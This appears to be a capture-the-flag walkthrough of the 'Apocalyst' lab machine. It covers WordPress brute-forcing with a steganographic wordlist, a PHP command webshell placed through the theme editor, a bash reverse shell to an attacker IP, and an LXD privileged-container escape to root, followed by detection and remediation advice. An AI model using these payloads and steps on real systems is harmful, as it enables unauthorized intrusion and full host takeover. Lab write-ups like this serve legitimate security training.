Overview
Apocalyst is a medium-rated Linux box running WordPress 4.8 on Ubuntu 16.04.
The attack chain begins with steganography: an image in the WordPress uploads
directory contains a hidden wordlist, extractable with an empty steghide
passphrase. This wordlist serves dual purpose: directory fuzzing (which
produces only decoys) and password brute-force against the sole WordPress
user falaraki. The password “Transclisiation” grants admin access, enabling
a webshell via the theme file editor.
The privilege escalation path has two stages. First, a world-readable .secret
file in falaraki’s home directory contains a base64-encoded SSH password,
providing a proper interactive shell. Second, falaraki is a member of the
lxd group, which allows creating privileged containers with the host
filesystem mounted. A privileged Alpine container with security.privileged=true
maps container root to host root, granting full system access.
The box teaches that target-specific wordlists beat generic ones, and that LXD group membership is functionally equivalent to root.
Reconnaissance
nmap -sC -sV -T4 10.129.14.211
| Port | Service | Product / Version | Notes |
|---|---|---|---|
| 22 | SSH | OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 | Ubuntu 16.04 banner |
| 80 | HTTP | Apache 2.4.18 (Ubuntu) | WordPress 4.8 |
Two ports. HTTP returns a WordPress installation. Added apocalyst.htb to
/etc/hosts. WPScan identifies WordPress 4.8 with the TwentySeventeen theme.
User enumeration
wpscan --url http://apocalyst.htb --enumerate u
# [+] falaraki
Author archive enumeration via /?author=1 confirms falaraki as the sole
user.
Attack Surface Analysis
Steganographic wordlist in uploads
The uploads directory (/wp-content/uploads/) is browsable. Under
2017/09/, a single image file is present: image.jpg. Testing for
steganographic content:
steghide extract -sf image.jpg -p ""
# wrote extracted data to "list.txt"
wc -l list.txt
# 437 list.txt
A 437-entry wordlist. The entries are dictionary words and names, including “Transclisiation” (a deliberate misspelling). This wordlist is custom to the target; it will not appear in rockyou.txt or any standard list.
Directory fuzzing (decoy)
feroxbuster -u http://apocalyst.htb -w list.txt
Each word in the list corresponds to a WordPress page at
/apocalyst.htb/<word>/. None contain useful content; they appear to be
decoys designed to waste time. The primary value of the wordlist is as a
password list for brute-force.
Vulnerability Analysis
WordPress admin brute-force (CWE-521)
| Attribute | Value |
|---|---|
| CWE | CWE-521 (Weak Password Requirements) |
| Root cause | Admin password is a dictionary word present in target-derived wordlist |
| Impact | Full WordPress admin access; leads to RCE via theme editor |
WordPress has no account lockout by default. The xmlrpc.php endpoint
supports wp.getUsersBlogs for credential testing, and the standard
/wp-login.php form has no rate limiting. A 437-entry wordlist completes
in seconds.
World-readable credential file (CWE-732)
| Attribute | Value |
|---|---|
| CWE | CWE-732 (Incorrect Permission Assignment for Critical Resource) |
| Root cause | .secret file with 644 permissions in user home directory |
| Impact | SSH credential disclosure; interactive shell access |
LXD container escape (CWE-269)
| Attribute | Value |
|---|---|
| CWE | CWE-269 (Improper Privilege Management) |
| Root cause | User in lxd group; privileged containers map UID 0 to host UID 0 |
| Impact | Full root access via host filesystem mount |
The LXD container escape is not a vulnerability; it is a design feature. Any
member of the lxd group can create privileged containers where container root
maps to host root. The mitigation is removing users from the group or disabling
privileged containers at the daemon level.
Exploitation
Step 1: WordPress admin brute-force
wpscan --url http://apocalyst.htb \
--passwords list.txt \
--usernames falaraki
# [+] Valid: falaraki / Transclisiation
Step 2: Webshell via theme editor
From the WordPress admin panel (Appearance > Theme Editor), the
TwentySeventeen theme’s 404.php is edited to append a command execution
webshell:
<?php if(isset($_GET['cmd'])){ echo system($_GET['cmd']); } ?>
Verification:
curl "http://apocalyst.htb/wp-content/themes/twentyseventeen/404.php?cmd=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
Step 3: Reverse shell
nc -lvnp 4444
curl "http://apocalyst.htb/wp-content/themes/twentyseventeen/404.php?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/10.10.14.x/4444+0>%261'"
Shell received as www-data.
Step 4: Credential discovery
ls -la /home/falaraki/
# -rw-r--r-- 1 falaraki falaraki ... .secret
cat /home/falaraki/.secret
# Keep forgetting password so this will keep it safe!
# WTBZdUFJTnRHMzdUaU5nVEghc1V6ZXJzUDRzcw==
echo "WTBZdUFJTnRHMzdUaU5nVEghc1V6ZXJzUDRzcw==" | base64 -d
# Y0uAINtG37TiNgTH!sUzersP4ss
Step 5: SSH as falaraki
ssh [email protected]
# Password: Y0uAINtG37TiNgTH!sUzersP4ss
falaraki@apocalyst:~$ cat user.txt
# [redacted]
Step 6: LXD container escape
id
# uid=1000(falaraki) gid=1000(falaraki) groups=...,108(lxd)
Build and transfer an Alpine image from the attacker machine:
# Attacker
wget https://dl-cdn.alpinelinux.org/alpine/v3.18/releases/x86_64/alpine-minirootfs-3.18.0-x86_64.tar.gz -O rootfs.tar.gz
cat > metadata.yaml << 'EOF'
architecture: x86_64
creation_date: 1704067200
properties:
description: Alpine 3.18
os: Alpine
release: "3.18"
EOF
tar czf metadata.tar.gz metadata.yaml
scp metadata.tar.gz rootfs.tar.gz [email protected]:/tmp/
On the target:
lxc image import /tmp/metadata.tar.gz /tmp/rootfs.tar.gz --alias alpine
lxc init alpine pwned -c security.privileged=true
lxc config device add pwned host-root disk source=/ path=/mnt/root recursive=true
lxc start pwned
security.privileged=true disables UID namespace mapping: container root
(UID 0) maps directly to host root (UID 0). The disk device mounts the entire
host filesystem at /mnt/root.
lxc exec pwned -- cat /mnt/root/root/root.txt
# [redacted]
lxc exec pwned -- chroot /mnt/root /bin/bash
# uid=0(root) gid=0(root)
Post-Exploitation
The system runs Ubuntu 16.04 x86_64. The MySQL root password
(Th3SoopaD00paPa5S!) was found in wp-config.php but did not grant SSH
access to any account. Application credentials were segregated from system
credentials.
Multiple failed approaches preceded the successful path: MySQL UDF privilege
escalation was blocked by secure_file_priv, and all WordPress/database
passwords were rejected for SSH.
Defensive Analysis
Detection opportunities
| Phase | MITRE ATT&CK | Detection |
|---|---|---|
| Reconnaissance | T1595.002 | WPScan user-agent in Apache access logs |
| Credential access | T1110.001 | Burst of failed logins against wp-login.php |
| Execution | T1059.004 | bash spawned as child of Apache worker |
| Privilege escalation | T1611 | lxc commands creating privileged container |
Network-level: The brute-force against wp-login.php produces 437
sequential POST requests in seconds. Any WAF or fail2ban configuration
monitoring authentication endpoints would block this after the first few
failures.
Host-level: lxc init with security.privileged=true is a high-severity
event. LXD logs container creation events. An auditd rule on lxc binary
execution combined with argument inspection would detect the privileged
container creation.
Remediation
| Priority | Action | Effort | Impact |
|---|---|---|---|
| P0 | Remove falaraki from the lxd group | Low | Critical |
| P0 | Change WordPress admin password to a strong random value | Low | Critical |
| P0 | Delete .secret file; rotate the SSH password | Low | Critical |
| P1 | Disable WordPress theme file editor (DISALLOW_FILE_EDIT) | Low | High |
| P1 | Install fail2ban or rate-limit wp-login.php | Low | High |
| P2 | Disable directory browsing on uploads directory | Low | Medium |
| P2 | Restrict uploads to non-image types or scan for steganography | Medium | Medium |
| P3 | Remove steganographic image from uploads | Low | Low |
The LXD group membership is the most critical finding. Any user in the lxd
group can achieve root within two commands. This is not a bug; it is how LXD
is designed. Privileged containers intentionally map container UID 0 to host
UID 0, and the host filesystem can be mounted as a simple disk device. The
mitigations are: remove users from the group, or configure LXD to reject
privileged containers entirely via lxc config set security.privileged false.
Key Takeaways
-
Target-derived wordlists beat generic ones. A 437-entry wordlist extracted from the target itself contains the password when a 14-million entry list like rockyou.txt would not. Before reaching for generic wordlists, always build target-specific lists from extracted content, page text, usernames, and embedded data.
-
World-readable files in home directories are higher value than /etc/passwd. Files like
.secret,.bash_history,.env, and.config/in user home directories regularly contain credentials. Always check file permissions on every file in enumerated home directories, not just the obvious targets. -
LXD group membership is functionally equivalent to root. The container escape requires no CVE, no exploit code, and no special tools. Two
lxccommands grant full host filesystem access as root. This is true of Docker group membership as well. Any user who can run containers with host mounts and privilege escalation has unrestricted system access.